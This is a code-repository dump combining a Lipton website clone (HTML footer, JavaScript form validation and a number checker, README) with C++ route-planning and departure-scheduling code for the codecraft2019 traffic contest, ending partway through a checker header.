href="http://www.unileverus.com/terms/termsofuse.html">TERMS OF SERVICE</a> </li><li><a target="_blank" href="http://www.unileverprivacypolicy.com/en_us/policy.aspx">PRIVACY POLICY</a> </li><li><a target="_blank" href="https://www.unileverusa.com/">UNILEVER</a> </li><li><a href="#"><img src="Images/Logo/AdChoices.png"/> ADCHOICES</a></li> </ul> </div> <div align="center" class="footer_logo"> <a href="index.html"><img src="Images/Logo/LiptonFooter.png"/></a> </div> <div align="center" class="footer_copyright"> <p id="footer_copyright">©2016 Unilever United States</p> <p>Tea is not a substitute for fruits or vegetables, which provide a wide range of nutrients such as vitamins and minerals.</p> <p>Please consult your doctor regarding a diet/nutritional plan that is right for you. This web site is directed only to U.S. consumers for products and services of Unilever United States.</p> <p>This web site is not directed to consumers outside of the U.S.</p> </div> </section> </body> </html><file_sep>/* JJJJJJJJJJJ OOOOOOOOO VVVVVVVV VVVVVVVV AAA NNNNNNNN NNNNNNNNIIIIIIIIII J:::::::::J OO:::::::::OO V::::::V V::::::V A:::A N:::::::N N::::::NI::::::::I J:::::::::J OO:::::::::::::OO V::::::V V::::::V A:::::A N::::::::N N::::::NI::::::::I JJ:::::::JJO:::::::OOO:::::::OV::::::V V::::::VA:::::::A N:::::::::N N::::::NII::::::II J:::::J O::::::O O::::::O V:::::V V:::::VA:::::::::A N::::::::::N N::::::N I::::I J:::::J O:::::O O:::::O V:::::V V:::::VA:::::A:::::A N:::::::::::N N::::::N I::::I J:::::J O:::::O O:::::O V:::::V V:::::VA:::::A A:::::A N:::::::N::::N N::::::N I::::I J:::::j O:::::O O:::::O V:::::V V:::::VA:::::A A:::::A N::::::N N::::N N::::::N I::::I J:::::J O:::::O O:::::O V:::::V V:::::VA:::::A A:::::A N::::::N N::::N:::::::N I::::I JJJJJJJ J:::::J O:::::O O:::::O V:::::V V:::::VA:::::AAAAAAAAA:::::A N::::::N N:::::::::::N I::::I J:::::J J:::::J O:::::O O:::::O V:::::V:::::VA:::::::::::::::::::::A N::::::N N::::::::::N I::::I J::::::J J::::::J O::::::O O::::::O V:::::::::VA:::::AAAAAAAAAAAAA:::::A N::::::N N:::::::::N I::::I J:::::::JJJ:::::::J O:::::::OOO:::::::O V:::::::VA:::::A A:::::A N::::::N N::::::::NII::::::II JJ:::::::::::::JJ OO:::::::::::::OO V:::::VA:::::A A:::::A N::::::N N:::::::NI::::::::I JJ:::::::::JJ OO:::::::::OO V:::VA:::::A A:::::A N::::::N N::::::NI::::::::I JJJJJJJJJ OOOOOOOOO VVVAAAAAAA AAAAAAANNNNNNNN NNNNNNNIIIIIIIIII */ function myValidation() { var noinput = ("*Please fill out this field!") var invalid = ("*The input is INVALID. Please try again.") var odd = ("This Number is ODD") var even = ("This Number is EVEN") var input = document.getElementById("number").value; var inputvalidation = /^([0-9\-\+]{1,6})$/; if (input == null || input == "") { document.getElementById("answer").innerHTML = noinput; document.getElementById("answer").style.color = "#cb061a"; document.getElementById("number").style.boxShadow = "0px 0px 20px #cb061a"; } else if (inputvalidation.test(oddevenform.number.value) == false) { document.getElementById("answer").innerHTML = invalid; document.getElementById("answer").style.color = "#cb061a"; document.getElementById("number").style.boxShadow = "0px 0px 20px #cb061a"; } else if (input >= 0) { while (input > 1) { input = input - 2; } if (input == 1) { document.getElementById("answer").innerHTML = odd; document.getElementById("answer").style.color = "#000000"; document.getElementById("number").style.boxShadow = "none"; } else if (input == 0) { document.getElementById("answer").innerHTML = even; document.getElementById("answer").style.color = "#000000"; document.getElementById("number").style.boxShadow = "none"; } else { document.getElementById("answer").innerHTML = invalid; document.getElementById("answer").style.color = "#cb061a"; document.getElementById("number").style.boxShadow = "0px 0px 20px #cb061a"; } } else if (input == -0 || input == +0) { document.getElementById("answer").innerHTML = invalid; document.getElementById("answer").style.color = "#cb061a"; document.getElementById("number").style.boxShadow = "0px 0px 20px #cb061a"; } else if (input < 0) { input = input * -1 while (input > 1) { input = input - 2; } if (input == 1) { document.getElementById("answer").innerHTML = odd; document.getElementById("answer").style.color = "#000000"; document.getElementById("number").style.boxShadow = "none"; } else if (input == 0) { document.getElementById("answer").innerHTML = even; document.getElementById("answer").style.color = "#000000"; document.getElementById("number").style.boxShadow = "none"; } else { document.getElementById("answer").innerHTML = invalid; document.getElementById("answer").style.color = "#cb061a"; document.getElementById("number").style.boxShadow = "0px 0px 20px #cb061a"; } } else { document.getElementById("answer").innerHTML = invalid; document.getElementById("answer").style.color = "#cb061a"; document.getElementById("number").style.boxShadow = "0px 0px 20px #cb061a"; } return false; } function myClear() { document.getElementById("answer").innerHTML = ''; document.getElementById("number").style.boxShadow = "none"; }<file_sep>/* JJJJJJJJJJJ OOOOOOOOO VVVVVVVV VVVVVVVV AAA NNNNNNNN NNNNNNNNIIIIIIIIII J:::::::::J OO:::::::::OO V::::::V V::::::V A:::A N:::::::N N::::::NI::::::::I J:::::::::J OO:::::::::::::OO V::::::V V::::::V A:::::A N::::::::N N::::::NI::::::::I JJ:::::::JJO:::::::OOO:::::::OV::::::V V::::::VA:::::::A N:::::::::N N::::::NII::::::II J:::::J O::::::O O::::::O V:::::V V:::::VA:::::::::A N::::::::::N N::::::N I::::I J:::::J O:::::O O:::::O V:::::V V:::::VA:::::A:::::A N:::::::::::N N::::::N I::::I J:::::J O:::::O O:::::O V:::::V V:::::VA:::::A A:::::A N:::::::N::::N N::::::N I::::I J:::::j O:::::O O:::::O V:::::V V:::::VA:::::A A:::::A N::::::N N::::N N::::::N I::::I J:::::J O:::::O O:::::O V:::::V V:::::VA:::::A A:::::A N::::::N N::::N:::::::N I::::I JJJJJJJ J:::::J O:::::O O:::::O V:::::V V:::::VA:::::AAAAAAAAA:::::A N::::::N N:::::::::::N I::::I J:::::J J:::::J O:::::O O:::::O V:::::V:::::VA:::::::::::::::::::::A N::::::N N::::::::::N I::::I J::::::J J::::::J O::::::O O::::::O V:::::::::VA:::::AAAAAAAAAAAAA:::::A N::::::N N:::::::::N I::::I J:::::::JJJ:::::::J O:::::::OOO:::::::O V:::::::VA:::::A A:::::A N::::::N N::::::::NII::::::II JJ:::::::::::::JJ OO:::::::::::::OO V:::::VA:::::A A:::::A N::::::N N:::::::NI::::::::I JJ:::::::::JJ OO:::::::::OO V:::VA:::::A A:::::A N::::::N N::::::NI::::::::I JJJJJJJJJ OOOOOOOOO VVVAAAAAAA AAAAAAANNNNNNNN NNNNNNNIIIIIIIIII */ var image1 = new Image() image1.src="Images/Slideshow/1.jpg" var image2 = new Image() image2.src="Images/Slideshow/2.jpg" var image3 = new Image() image3.src="Images/Slideshow/3.jpg" function mySlide() { document.images.slideshow.src=eval("image"+numberImage+".src") setTimeout("mySlide()",5000) if(numberImage < 3) { numberImage = numberImage + 1 } else { numberImage = 1 } } function myValidation() { var noinput = ("<img src=\../Images/Logo/ExclamationPoint.png\>" + "*Please fill out this field!") var invalidemail = ("<img src=\../Images/Logo/ExclamationPoint.png\>" + "*Invalid Email Address. Please try again.") var invalidzipcode = ("<img src=\../Images/Logo/ExclamationPoint.png\>" + "Invalid Zip Code. Please try again.") var invaliddate = ("<img src=\../Images/Logo/ExclamationPoint.png\>" + "*Invalid Date. Please try again.") var invalidcontactnumber = ("<img src=\../Images/Logo/ExclamationPoint.png\>" + "*Invalid Contact Number. Please try again.") var emailaddress = signupform.emailaddress.value; var firstname = signupform.firstname.value; var lastname = signupform.lastname.value; var address = signupform.address.value; var city = signupform.city.value; var province = signupform.province.value; var zipcode = signupform.zipcode.value; var birthday = signupform.birthday.value; var contactnumber = signupform.contactnumber.value; var emailaddressvalidation = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/; var zipcodevalidation = /^([0-9]{4})$/; var birthdayvalidation = /^([0-9]{2})-([0-9]{2})-([0-9]{4})$/; var contactnumbervalidation = /^([0-9\+]{1,12})$/; if ( (emailaddress == null || emailaddress == "") || (firstname == null || firstname == "") || (lastname == null || lastname == "") || (address == null || address == "") || (city == null || city == "") || (province == "") || (zipcode == null || zipcode == "") || (birthday == null || birthday == "") || (contactnumber == null || contactnumber == "") || (emailaddressvalidation.test(signupform.emailaddress.value) == false) || (zipcodevalidation.test(signupform.zipcode.value) == false) || (birthdayvalidation.test(signupform.birthday.value) == false) || (contactnumbervalidation.test(signupform.contactnumber.value) == false) ) { if (emailaddress == null || emailaddress == "") { document.getElementById("noemailaddress").innerHTML = noinput; document.getElementById("emailaddress").style.borderColor = "#cb061a"; } else if (emailaddressvalidation.test(signupform.emailaddress.value) == false) { document.getElementById("emailaddress").style.borderColor = "#cb061a"; document.getElementById("noemailaddress").innerHTML = invalidemail; } else { document.getElementById("noemailaddress").innerHTML = ''; document.getElementById("emailaddress").style.borderColor = "#000000"; } if (firstname == null || firstname == "") { document.getElementById("nofirstname").innerHTML = noinput; document.getElementById("firstname").style.borderColor = "#cb061a"; } else { document.getElementById("nofirstname").innerHTML = ''; document.getElementById("firstname").style.borderColor = "#000000"; } if (lastname == null || lastname == "") { document.getElementById("nolastname").innerHTML = noinput; document.getElementById("lastname").style.borderColor = "#cb061a"; } else { document.getElementById("nolastname").innerHTML = ''; document.getElementById("lastname").style.borderColor = "#000000"; } if (address == null || address == "") { document.getElementById("noaddress").innerHTML = noinput; document.getElementById("address").style.borderColor = "#cb061a"; } else { document.getElementById("noaddress").innerHTML = ''; document.getElementById("address").style.borderColor = "#000000"; } if (city == null || city == "") { document.getElementById("nocity").innerHTML = noinput; document.getElementById("city").style.borderColor = "#cb061a"; } else { document.getElementById("nocity").innerHTML = ''; document.getElementById("city").style.borderColor = "#000000"; } if (province == "") { document.getElementById("noprovince").innerHTML = noinput; document.getElementById("province").style.borderColor = "#cb061a"; } else { document.getElementById("noprovince").innerHTML = ''; document.getElementById("province").style.borderColor = "#000000"; } if (zipcode == null || zipcode == "") { document.getElementById("nozipcode").innerHTML = noinput; document.getElementById("zipcode").style.borderColor = "#cb061a"; } else if (zipcodevalidation.test(signupform.zipcode.value) == false) { document.getElementById("nozipcode").innerHTML = invalidzipcode; document.getElementById("zipcode").style.borderColor = "#cb061a"; } else { document.getElementById("nozipcode").innerHTML = ''; document.getElementById("zipcode").style.borderColor = "#000000"; } if (birthday == null || birthday == "") { document.getElementById("nobirthday").innerHTML = noinput; document.getElementById("birthday").style.borderColor = "#cb061a"; } else if (birthdayvalidation.test(signupform.birthday.value) == false) { document.getElementById("birthday").style.borderColor = "#cb061a"; document.getElementById("nobirthday").innerHTML = invaliddate; } else { document.getElementById("nobirthday").innerHTML = ''; document.getElementById("birthday").style.borderColor = "#000000"; } if (contactnumber == null || contactnumber == "") { document.getElementById("nocontactnumber").innerHTML = noinput; document.getElementById("contactnumber").style.borderColor = "#cb061a"; } else if (contactnumbervalidation.test(signupform.contactnumber.value) == false) { document.getElementById("nocontactnumber").innerHTML = invalidcontactnumber; document.getElementById("contactnumber").style.borderColor = "#cb061a"; } else { document.getElementById("nocontactnumber").innerHTML = ''; document.getElementById("contactnumber").style.borderColor = "#000000"; } return false; } else { alert("Success!!!") return true; } }<file_sep># Lipton --- ## Installation * Clone or download this repository. ``` git clone https://github.com/jovanidash21/lipton.git ``` * Open `index.html` in browser. ## Credit * [Lipton Website](http://www.liptontea.com/) ## Website [Live Demo](https://jovanidash21.github.io/lipton/) ## License Licensed under [MIT](https://opensource.org/licenses/mit-license.php).
67cfa5fc0b30e7ac223034243f913c8b5a63c855
[ "JavaScript", "HTML", "Markdown" ]
4
HTML
jovanidash21/lipton
fb164e3adb31143360845898a72ef4a34b919b56
685d46a6764e14b8ca13b8cf7525c3ccf267a294
refs/heads/master
<file_sep># codecraft2019 random driver for codecraft2019 <file_sep>#include <iostream> #include <string> #include <fstream> #include <stdlib.h> #include <vector> #include <sstream> #include <algorithm> #include <queue> #include <time.h> #include <assert.h> #include <cmath> #include "Checker.hpp" #include <set> #include <unordered_map> #define mp make_pair using namespace std; const double inf=1e17; const int GO_STRAIGHT=0; const int TURN_LEFT=1; const int TURN_RIGHT=2; const double LEFT_PENALTY=10; const double RIGHT_PENALTY=30; const double Cross_penalty_alpha = 100; const double Road_penalty_apha=100; const int Update_model_time_interval=2000; unordered_map<int,int> Cross_id_to_index; unordered_map<int,int> Car_id_to_index; unordered_map<int,int> Road_id_to_index; struct Road { int id; int length; int speed; int channel; int from; int to; bool isDuplex; vector<double> mi; vector<int> num; void init() { mi.clear(); num.clear(); } void set(int l,int r,int v) { int last=mi.size(); if(last<=r) { mi.resize(r+1); num.resize(r+1); for(int i=last;i<=r;++i) mi[i]=0,num[i]=0; } for(int i=l;i<=r;++i) { mi[i]=(mi[i]*num[i]+v)/(num[i]+1); num[i]+=1; //mi[i]=min(mi[i],v); } /*int last=mi.size(); if(last<=r) { mi.resize(r+1); for(int i=last;i<=r;++i) mi[i]=speed; } for(int i=l;i<=r;++i) mi[i]=min(mi[i],1.0*v);*/ } double query(int l) { if(l>=mi.size()) return speed; if(num[l]==0) return speed; return min(1.0*speed,mi[l]); /*if(l>=mi.size()) return speed; return mi[l];*/ } double query_penalty(int l,int r) { if(l>=num.size()) return 0; r=min(r,int(num.size())-1); if(l>r) return 0; int sum=0; for(int i=l;i<=r;++i) sum+=num[i]; return Road_penalty_apha*sum/(r-l+1); //if(l>=num.size()) return 0; //if(num[l]<=this->channel*this->length-20) return 0; //else return inf; } void output() { cout<<id<<" "<<length<<" "<<speed<<" "<<channel<<" "<<from<<" "<<to<<" "<<isDuplex<<endl; } }; struct Car { int id; int from; int to; int speed; int initTime; bool priority; bool preset; int planTime; double value; vector<int> path; void output() { cout<<id<<" "<<from<<" "<<to<<" "<<speed<<" "<<planTime<<" "<<priority<<" "<<preset<<endl; } }; bool cmp1(const Car &a,const Car &b) { if(a.speed!=b.speed) return a.speed<b.speed; return a.planTime<b.planTime; } bool cmp2(const Car &a,const Car &b) { //if(a.priority!=b.priority) return a.priority>b.priority; if(a.preset!=b.preset) return a.preset>b.preset; if(a.priority!=b.priority) return a.priority>b.priority; //return a.value>b.value; return a.planTime+a.value>b.planTime+b.value; } struct Cross { int id; int dir[4]; int car_start_from_this; vector<int> block; void init() { block.clear(); } void reset(int t,int num) { int last=block.size(); if(last<=t) { block.resize(t+1); for(int i=last;i<=t;++i) block[i]=0; } block[t]+=num; } void set(int t) { /*int l=max(0,t-2); int r=t+2; int last=block.size(); if(last<=r) { block.resize(r+1); for(int i=last;i<=r;++i) block[i]=0; } for(int i=l;i<=r;++i) block[i]+=1;*/ int last=block.size(); if(last<=t) { block.resize(t+1); for(int i=last;i<=t;++i) block[i]=0; } block[t]+=1; } int query_car_num(int t) { /*int l=max(0,t-2); int r=min(t+2,int(block.size())-1); if(l>r) return 0; int sum=0; for(int i=l;i<=r;++i) sum+=block[i]; sum=round(1.0*sum/(r-l+1)); return sum;*/ if(t>=block.size()) return 0; return block[t]; } double query_penalty(int t) { if(query_car_num(t)<=2*get_road_num()) return 0; double num=Cross_penalty_alpha*query_car_num(t)/get_road_num(); //if(num<=get_road_num()*2) num=0; return num; /*if(query_car_num(t)<=get_road_num()*2) return 0; double num=query_car_num(t)*get_road_num(); return num;*/ } int get_road_num() { int s=0; for(int i=0;i<4;++i) if(dir[i]!=-1) ++s; return s; } void output() { cout<<id<<" "<<dir[0]<<" "<<dir[1]<<" "<<dir[2]<<" "<<dir[3]<<endl; } }; vector<vector<pair<int,int>>> g; vector<Car> car; int T; vector<Road> road; int m; vector<Cross> cross; int n; void addedge(int from,int to,int id) { //cout<<from<<" "<<to<<" "<<id; //cout<<from<<" "<<to<<" "<<id<<endl; g[from].push_back(mp(to,id)); } void readcar(string path) { ifstream in(path); string info; getline(in,info); car.clear(); car.push_back(Car()); while(getline(in,info)) { ++T; //cout<<tmp<<endl; char ch; Car tmp; stringstream s(info); s>>ch; s>>tmp.id; s>>ch; s>>tmp.from; s>>ch; s>>tmp.to; s>>ch; s>>tmp.speed; s>>ch; s>>tmp.initTime; s>>ch; s>>tmp.priority; s>>ch; s>>tmp.preset; tmp.planTime=tmp.initTime; Car_id_to_index[tmp.id]=T; car.push_back(tmp); } //for(auto x:car) x.output(); } void readroad(string path) { //cout<<n<<endl; ifstream in(path); string info; getline(in,info); road.clear(); road.push_back(Road()); while(getline(in,info)) { ++m; //cout<<info<<endl; char ch; Road tmp; stringstream s(info); s>>ch; s>>tmp.id; s>>ch; s>>tmp.length; s>>ch; s>>tmp.speed; s>>ch; s>>tmp.channel; s>>ch; s>>tmp.from; s>>ch; s>>tmp.to; s>>ch; s>>tmp.isDuplex; tmp.from=Cross_id_to_index[tmp.from]; tmp.to=Cross_id_to_index[tmp.to]; Road_id_to_index[tmp.id]=m; road.push_back(tmp); //cout<<tmp.from<<" "<<tmp.to<<" "<<m<<end; addedge(tmp.from,tmp.to,m); if(tmp.isDuplex) addedge(tmp.to,tmp.from,m); } //for(auto x:road) x.output(); } void readcross(string path) { ifstream in(path); string info; getline(in,info); cross.clear(); cross.push_back(Cross()); while(getline(in,info)) { ++n; //cout<<tmp<<endl; char ch; Cross tmp; stringstream s(info); s>>ch; s>>tmp.id; s>>ch; s>>tmp.dir[0]; s>>ch; s>>tmp.dir[1]; s>>ch; s>>tmp.dir[2]; s>>ch; s>>tmp.dir[3]; s>>ch; Cross_id_to_index[tmp.id]=n; cross.push_back(tmp); } g.resize(n+1); for(int i=0;i<=n;++i) g[i].clear(); //for(auto x:cross) x.output(); } void readpresetAnswer(string path) { ifstream in(path); string info; getline(in,info); while(getline(in,info)) { char ch; stringstream s(info); int id; s>>ch; s>>id; id=Car_id_to_index[id]; s>>ch; s>>car[id].planTime; while(true) { s>>ch; if(ch==')') break; int x; s>>x; car[id].path.push_back(x); } } } vector<bool> done; vector<double> d,actual_d; vector<pair<int,int>> pre; //<pre_cross,through_road> void dijkstra_init() { done.resize(n+1); d.resize(n+1); actual_d.resize(n+1); pre.resize(n+1); } priority_queue<pair<double,int>,vector<pair<double,int>>,greater<pair<double,int>>> q; int checkdir(int u,int id,int v) { int a=-1,b=-1; for(int i=0;i<4;++i) { if(cross[id].dir[i]==u) a=i; if(cross[id].dir[i]==v) b=i; } if(a==-1||b==-1) return GO_STRAIGHT; if((a+2)%4==b) return GO_STRAIGHT; if((a+1)%4==b) return TURN_LEFT; return TURN_RIGHT; } double cal_value(int S,int T,int speed) { //cout<<S<<" "<<T<<" "<<speed<<" "<<start_time<<endl; for(int i=0;i<=n;++i) d[i]=inf,done[i]=0; d[S]=0; while(!q.empty()) q.pop(); q.push(mp(0,S)); while(!q.empty()) { pair<double,int> now=q.top(); q.pop(); int u=now.second; if(done[u]) continue; //cout<<u<<endl; done[u]=1; for(auto x:g[u]) { int v=x.first; Road edge=road[x.second]; assert(edge.speed>0); assert(speed>0); double data=now.first+1.0*edge.length/min(edge.speed,speed); if(data<d[v]) { d[v]=data; q.push(mp(d[v],v)); } } } return d[T]; } vector<int> dijkstra(int S,int T,int speed,int start_time) { //cout<<S<<endl; for(int i=0;i<=n;++i) actual_d[i]=d[i]=inf,pre[i]=mp(0,0),done[i]=0; d[S]=1.0*start_time; //cross[S].set(int(d[S])); actual_d[S]=1.0*start_time; while(!q.empty()) q.pop(); q.push(mp(1.0*start_time,S)); while(!q.empty()) { pair<double,int> now=q.top(); q.pop(); int u=now.second; if(done[u]) continue; //cout<<u<<endl; done[u]=1; for(auto x:g[u]) { int v=x.first; Road edge=road[x.second]; double time_in_road=1.0*edge.length/min(edge.query(int(actual_d[u])),1.0*speed); double data=now.first+time_in_road; data+=edge.query_penalty(int(actual_d[u]),int(actual_d[u]+time_in_road)); //data+=cross[v].query_penalty(int(actual_d[u]+time_in_road)); //int dir=checkdir(road[pre[u].second].id,u,edge.id); //if(dir==TURN_LEFT) data+=LEFT_PENALTY; //if(dir==TURN_RIGHT) data+=RIGHT_PENALTY; if(data<d[v]) { pre[v]=mp(u,x.second); d[v]=data; actual_d[v]=actual_d[u]+time_in_road; q.push(mp(d[v],v)); } } } vector<int> ans; //cout<<d[T]<<endl; ans.clear(); int now=T; while(now!=S) { ans.push_back(road[pre[now].second].id); //road[pre[now].second].set(int(actual_d[pre[now].first]),int(actual_d[now]),speed); //cross[now].set(int(actual_d[now])); now=pre[now].first; } //cross[now].set(int(actual_d[now])); reverse(ans.begin(),ans.end()); return ans; } void update_model(double now,int u,const vector<int>& path ,int speed) { cross[u].set(int(now)); for(auto road_id:path) { Road &edge=road[Road_id_to_index[road_id]]; //cout<<edge.id<<" "; double time_in_road=1.0*edge.length/min(edge.query(int(now)),1.0*speed); edge.set(int(now),int(now+time_in_road),speed); if(edge.from==u) u=edge.to;else u=edge.from; now+=time_in_road; cross[u].set(int(now)); //cout<<u<<" "<<now<<endl; } //cout<<endl; } void reset_model() { //cout<<"enter reset_model...."<<endl; //cout<<"enter Checker::reset"<<endl; Checker::reset(); //cout<<"end Checker::reset"<<endl; //cout<<"enter Checker::run"<<endl; Checker::run(); //cout<<"end Checker::run"<<endl; //reset cross model for(int i=1;i<=n;++i) cross[i].init(); int Time=Checker::systemTime; for(int j=1;j<=Time;++j) for(int i=1;i<=n;++i) cross[i].reset(j,Checker::crossOrder[j-1][i-1]); //reset road model for(int i=1;i<=m;++i) road[i].init(); for(auto tmp:Checker::roadOrder) { vector<pair<int,int>> info=tmp.second; int len=info.size(); assert(len%2==0); int car_index=Car_id_to_index[tmp.first]; for(int i=0;i<len;i+=2) { int road_index=Road_id_to_index[info[i].first]; road[road_index].set(info[i].second,info[i+1].second,car[car_index].speed); } } //cout<<"end reset_model"<<endl;*/ } bool cmp_value(const int &x,const int &y) { if(car[x].priority!=car[y].priority) return car[x].priority>car[y].priority; return car[x].value>car[y].value; } void random_add_planTime_priority(int lower,int upper,int normal_l,int normal_r=10000000) { vector<vector<int>> H; H.resize(n+1); for(int i=1;i<=n;++i) { H[i].resize(upper+1); for(int j=lower;j<=upper;++j) H[i][j]=0; } vector<vector<int>> tmp; tmp.resize(n+1); for(int i=1;i<=n;++i) tmp[i].clear(); int normal_car=0; for(int i=1;i<=T;++i) if(car[i].preset) { if(car[i].planTime>=lower&&car[i].planTime<=upper) H[car[i].from][car[i].planTime]++; } else if(car[i].priority) tmp[car[i].from].push_back(i); else { ++normal_car; if(normal_car>=normal_l&&normal_car<=normal_r) tmp[car[i].from].push_back(i); } for(int i=1;i<=n;++i) { int num=tmp[i].size(); sort(tmp[i].begin(),tmp[i].end(),cmp_value); int presum=0; int now=0; int N=num; for(int t=lower;t<=upper;++t) N+=H[i][t]; for(int t=lower;t<=upper;++t) { presum+=H[i][t]; int T=round(1.0*N*(t-lower+1)/(upper-lower+1)); if(presum>=T) continue; while(now<num&&car[tmp[i][now]].initTime<=t&&presum<T) { ++presum; car[tmp[i][now]].planTime=t; ++now; } } } //test /*for(int i=1;i<=n;++i) tmp[i].clear(); //cout<<"QvQ"<<endl; for(int i=1;i<=T;++i) if(car[i].preset||car[i].priority) tmp[car[i].from].push_back(car[i].planTime); //cout<<"QvQ"<<endl; for(int i=1;i<=n;++i) { cout<<i<<" ( "<<tmp[i].size()<<" ) : "<<endl; sort(tmp[i].begin(),tmp[i].end()); for(auto x:tmp[i]) cout<<x<< " "; cout<<endl; }*/ } void random_add_planTime(int lower,int upper,int normal_l,int normal_r=10000000) { vector<vector<int>> H; H.resize(n+1); for(int i=1;i<=n;++i) { H[i].resize(upper+1); for(int j=lower;j<=upper;++j) H[i][j]=0; } vector<vector<int>> tmp; tmp.resize(n+1); for(int i=1;i<=n;++i) tmp[i].clear(); int normal_car=0; for(int i=1;i<=T;++i) if(car[i].preset) { if(car[i].planTime>=lower&&car[i].planTime<=upper) { H[car[i].from][car[i].planTime]++; cout<<"error"<<endl; } } else if(!car[i].priority) { ++normal_car; if(normal_car>=normal_l&&normal_car<=normal_r) tmp[car[i].from].push_back(i); } int sum=0; for(int i=1;i<=n;++i) { int num=tmp[i].size(); //cout<<i<<" : "<<num<<endl; sum+=num; sort(tmp[i].begin(),tmp[i].end(),cmp_value); int presum=0; int now=0; int N=num; for(int t=lower;t<=upper;++t) N+=H[i][t]; for(int t=lower;t<=upper;++t) { presum+=H[i][t]; int T=round(1.0*N*(t-lower+1)/(upper-lower+1)); if(presum>=T) continue; while(now<num&&car[tmp[i][now]].initTime<=t&&presum<T) { ++presum; car[tmp[i][now]].planTime=t; ++now; } } } cout<<"number of car (neither preset nor priority ) : "<<sum<<endl; //test /* for(int i=1;i<=n;++i) tmp[i].clear(); //cout<<"QvQ"<<endl; for(int i=1;i<=T;++i) if(!car[i].priority&&!car[i].preset) tmp[car[i].from].push_back(car[i].planTime); //cout<<"QvQ"<<endl; for(int i=1;i<=n;++i) { cout<<i<<" ( "<<tmp[i].size()<<" ) : "<<endl; sort(tmp[i].begin(),tmp[i].end()); for(auto x:tmp[i]) cout<<x<< " "; cout<<endl; }*/ } void solve(string path) { //sort(car.begin(),car.end(),cmp2); dijkstra_init(); for(int i=1;i<=T;++i) car[i].value=cal_value(car[i].from,car[i].to,car[i].speed); random_add_planTime_priority(1,800,1,8000); random_add_planTime(970,2200,8001); auto it=car.begin(); ++it; sort(it,car.end(),cmp2); cout<<"sort ok!"<<endl; Car_id_to_index.clear(); for(int i=1;i<=T;++i) Car_id_to_index[car[i].id]=i; /*int early_planTime=100000,last_planTime=0; for(int i=1;i<=T;++i) if(car[i].priority) early_planTime=min(early_planTime,car[i].planTime),last_planTime=max(last_planTime,car[i].planTime); cout<<"early_planTime : "<<early_planTime<<" last_planTime : "<<last_planTime<<endl;*/ ofstream out(path); for(int i=1;i<=T;++i) { if(i%2000==0) cout<<"process "<<i<<endl; //car[i].output(); vector<int> ans; ans.clear(); if(car[i].preset) ans=car[i].path; else ans=dijkstra(car[i].from,car[i].to,car[i].speed,car[i].planTime); //cout<<car[i].id<<" : "; update_model(car[i].planTime,car[i].from,ans,car[i].speed); // if(car[i].id==19051) car[i].output(); if(!car[i].preset) { //for(int i=tmp_len-1;i>=0;--i) ans.push_back(tmp[i]); out<<"("<<car[i].id<<","<<car[i].planTime<<","; int len=ans.size(); for(int i=0;i<len-1;++i) out<<ans[i]<<","; out<<ans[len-1]<<")"<<endl; } Checker::modifyCar(car[i].id,car[i].planTime,ans); if(i%Update_model_time_interval==0) reset_model(); } } void cal_coefficient() { int priority_car=0; for(int i=1;i<=T;++i) if(car[i].priority) ++priority_car; cout<<"0.05*"<<T<<"/"<<priority_car<<"="<<0.05*T/priority_car<<endl; int max_speed=0,min_speed=1000; int priority_max_speed=0,priority_min_speed=1000; for(int i=1;i<=T;++i) { max_speed=max(max_speed,car[i].speed); min_speed=min(min_speed,car[i].speed); if(car[i].priority) { priority_max_speed=max(priority_max_speed,car[i].speed); priority_min_speed=min(priority_min_speed,car[i].speed); } } cout<<"0.2375*("<<max_speed<<"/"<<min_speed<<")/("<<priority_max_speed<<"/"<<priority_min_speed<<")="<<0.2375*(1.0*max_speed/min_speed)/(1.0*priority_max_speed/priority_min_speed)<<endl; set<int> from,to,priority_from,priority_to; from.clear(); to.clear(); priority_from.clear(); priority_to.clear(); for(int i=1;i<=T;++i) { from.insert(car[i].from); to.insert(car[i].to); if(car[i].priority) { priority_from.insert(car[i].from); priority_to.insert(car[i].to); } } cout<<"0.2375*"<<from.size()<<"/"<<priority_from.size()<<"="<<0.2375*int(from.size())/int(priority_from.size())<<endl; cout<<"0.2375*"<<to.size()<<"/"<<priority_to.size()<<"="<<0.2375*int(to.size())/int(priority_to.size())<<endl; } int main(int argc, char *argv[]) { std::ios::sync_with_stdio(false); cin.tie(0); std::cout << "Begin" << std::endl; /* if(argc < 6){ std::cout << "please input args: carPath, roadPath, crossPath, answerPath" << std::endl; exit(1); } std::string carPath(argv[1]); std::string roadPath(argv[2]); std::string crossPath(argv[3]); std::string presetAnswerPath(argv[4]); std::string answerPath(argv[5]); */ //////////////////////////////���� string carPath="..\\config\\car.txt"; string roadPath="..\\config\\road.txt"; string crossPath="..\\config\\cross.txt"; string presetAnswerPath="..\\config\\presetAnswer.txt"; string answerPath="..\\config\\answer.txt"; std::cout << "carPath is " << carPath << std::endl; std::cout << "roadPath is " << roadPath << std::endl; std::cout << "crossPath is " << crossPath << std::endl; std::cout << "presetAnswerPath is " << presetAnswerPath << std::endl; std::cout << "answerPath is " << answerPath << std::endl; // TODO:read input filebuf readcar(carPath); readcross(crossPath); readroad(roadPath); for(int i=1;i<=T;++i) car[i].from=Cross_id_to_index[car[i].from]; for(int i=1;i<=T;++i) car[i].to=Cross_id_to_index[car[i].to]; readpresetAnswer(presetAnswerPath); Checker::read_car(carPath); Checker::read_road(roadPath); Checker::read_cross(crossPath); Checker::read_presetAnswer(presetAnswerPath); Checker::update_RoadCar_makeMap(); //for(auto x:car[Car_id_to_index[21701]].path) cout<<x<<" ";cout<<endl; // TODO:process //cal_coefficient(); solve(answerPath); Checker::reset(); Checker::run(); cout<<"System Time : "<<Checker::systemTime<<endl; /*freopen("ce.out","w",stdout); for(int i=1;i<=n;++i) for(int j=1;j<=500;++j) { cout<<"("<<i<<","<<j<<")"<<cross[i].query_car_num(j)<<endl; }*/ // TODO:write output file //write(answerPath); //car[Car_id_to_index[19051]].output(); return 0; } //random_add_planTime_priority(1,800,1,9000); random_add_planTime(980,2130,9001); 3500 // <file_sep>/*** * Checker Interface Repechage V1.0 ***/ #include <iostream> #include <algorithm> #include <string> #include <vector> #include <stack> #include <set> #include <queue> #include <map> #include <unordered_map> #include <unordered_set> #include <bitset> #include <cstring> #include <assert.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <sstream> #include <fstream> #include <list> #include <iterator> namespace Checker { #define UP 0 #define RIGHT 1 #define DOWN 2 #define STRAIGHT 2 #define LEFT 3 //#define LOGON 1 //#define M2nxtR 1 //#define OnRoadDEBUG 1 //#define 